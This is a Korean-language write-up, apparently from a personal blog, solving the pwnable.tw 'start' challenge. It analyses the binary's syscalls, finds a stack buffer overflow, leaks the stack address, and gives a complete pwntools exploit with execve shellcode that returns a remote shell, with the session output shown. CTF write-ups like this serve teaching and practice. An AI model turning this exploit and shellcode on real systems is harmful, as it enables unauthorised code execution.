[pwnable.tw] start Write up
gef> disas main
No symbol table is loaded. Use the "file" command.
gef> info func
All defined functions:
Non-debugging symbols:
0x08048060 _start
0x0804809d _exit
0x080490a3 __bss_start
0x080490a3 _edata
0x080490a4 _end
처음에 아무 생각 없이 disas main
명령어를 사용했는데 심볼이 없다고 떠서 info func
로 확인해보니 어셈블리어로 코딩된 프로그램인 걸 알 수 있었습니다.
gef> checksec
Canary : Disabled
NX : Disabled
PIE : Disabled
RELRO : No RELRO
Fortify : Not found
다행히 보호 기법은 다 꺼져있었습니다. 보호 기법만 보고 쉽게 풀 수 있을거라고 생각했는데 생각보다 삽질을 많이 했습니다..
먼저 _start
를 보겠습니다.
gef> disas _start
Dump of assembler code for function _start:
0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
End of assembler dump.
차근 차근 분석해보겠습니다.
먼저 14~34줄을 보면 어떤 값들을 push
하는걸로 봐서 32bit 바이너리인걸 유추했습니다. 그리고 int 0x80
명령이 어떤 명령인지 몰라서 찾아보니 커널에 시스템 호출을 해주는 명령어라고 봤습니다(syscall
이라고 생각하면 될듯합니다)
코드만 보고 유추하기 쉽지 않아서 간단하게 동적 분석을 해보겠습니다.
┌──(root㉿met30r-mo)-[~/OneDrive/pwnable.tw/start]
└─# ./start
Let's start the CTF:aaaa
"Let's start the CTF:" 문자열을 출력한 후 문자열을 입력받고 끝나네요. int 0x80
이 두 번 사용 되었으니 한번은 출력, 한번은 입력으로 유추할 수 있습니다. 코드를 보고 자세하게 분석 해보겠습니다.
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
int 0x80
전까지 진행한 후 레지스터 상태는 아래와 같습니다.
$eax : 0x00000004
$ebx : 0x00000001
$ecx : 0xffffd334 -> 0x2774654c
$edx : 0x00000014
$esp : 0xffffd334 -> 0x2774654c
$ebp : 0x00000000
$esi : 0x00000000
$edi : 0x00000000
eax에 4가 들어가 있으니 syscall table 4번을 확인해보겠습니다.
Number | syscall | %eax | arg0(%ebx) | arg1(%ecx) | arg2(%edx) |
4 | 0x04 | write | unsigned int fd | const char *buf | size_t count |
syscall table 을 보고 함수를 유추해보면 write(1, 0xffffd334, 0x14(DEC : 20))
입니다.
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
$eax : 0x00000003
$ebx : 0x00000000
$ecx : 0xffffd334 -> 0x2774654c
$edx : 0x0000003c
$esp : 0xffffd334 -> 0x2774654c
$ebp : 0x00000000
$esi : 0x00000000
$edi : 0x00000000
Number | syscall | %eax | arg0(%ebx) | arg1(%ecx) | arg2(%edx) |
3 | 0x03 | read | unsigned int fd | char *buf | size_t count |
read(0, 0xffffd334, 3c(DEC: 60))
write가 출력하는 주소와 read가 입력받는 주소가 동일하네요.
입력 했을 때 bof가 발생하는 지 알아보기 위해 _start
함수 마지막 줄에 브레이크 포인트를 걸어서 0xffffd334
와 esp(ret) 사이 오프셋을 구해보겠습니다.
gef> b* _start + 60
Breakpoint 1 at 0x804809c
gef> r
Starting program: /mnt/c/Users/usung/OneDrive/pwnable.tw/start/start
Let's start the CTF:aaaa
•••
gef> p $esp
$1 = (void *) 0xffffd348
gef> p/d 0xffffd348 - 0xffffd334
$2 = 20
위 read 함수에선 60을 입력받는데 Input <-> ret
오프셋은 20이니 bof가 발생하네요.
여기서 삽질을 좀 많이 했습니다
ASLR을 생각 안하고 모든 보호기법이 꺼져있어서 당연히 쉘코드를 입력하고 0xffffd334
주소로 리턴하면 문제가 풀릴거라고 생각했는데 아니였습니다..
입력 버퍼의 실제 주소를 출력하는 방법을 찾다가 0x08048087 <+39>: mov ecx,esp
이 주소로 return을 덮으면 마지막 esp 값인 0xffffd348
이 ecx로 인자로 넘어가서 write syscall에서 출력되겠다고 생각했습니다.
먼저 실제 주소를 구하는 코드부터 짜보았습니다.
from pwn import *
p = remote('chall.pwnable.tw', 10000)
pay = b'A' * 20
pay += p32(0x08048087)
p.sendafter(b'CTF:', pay)
leak = u32(p.recvn(4))
print('Input Buffer =', hex(leak))
p.interactive()
┌──(root㉿met30r-mo)-[~/OneDrive/pwnable.tw/start]
└─# py test.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
Input Buffer = 0xffce4460
[*] Switching to interactive mode
출력해주는 주소에 입력을 받기 때문에 이제 쉘코드를 입력하고 ret을 leak 한 주소로 덮으면 됩니다.
하지만 32비트 쉘코드가 25bytes 여서 input <-> ret
오프셋보다 길어서 어떻게 삽입할지 고민하다가 ret 뒤에 삽입하고 ret에 leak + 20
을 입력하는걸로 익스플로잇 코드를 짰습니다. 그러면 길이 걱정없이 쉘코드를 삽입 가능하고 정상적으로 공격도 가능합니다.
Exploit Code
from pwn import *
p = remote('chall.pwnable.tw', 10000)
pay = b'A' * 20
pay += p32(0x08048087)
p.sendafter(b'CTF:', pay)
leak = u32(p.recvn(4))
print('Input Buffer =', hex(leak))
pay = b'A' * 20
pay += p32(leak+20)
pay += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
p.sendline(pay)
p.interactive()
┌──(root㉿met30r-mo)-[~/OneDrive/pwnable.tw/start]
└─# py ex.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
Input Buffer = 0xffa6a3b0
[*] Switching to interactive mode
\x00\x00\x005\xbf\xa6\xff\x00\x00\x00\x00G\xbf\xa6\xff
$ id
uid=1000(start) gid=1000(start) groups=1000(start)
$ find / -name flag 2> /dev/null
/home/start/flag
$ cat /home/start/flag
FLAG{----flag는 삭제-----}
$
Subscribe to my newsletter
Read articles from d0razi directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
d0razi
d0razi
I study Infosec and Linux kernel.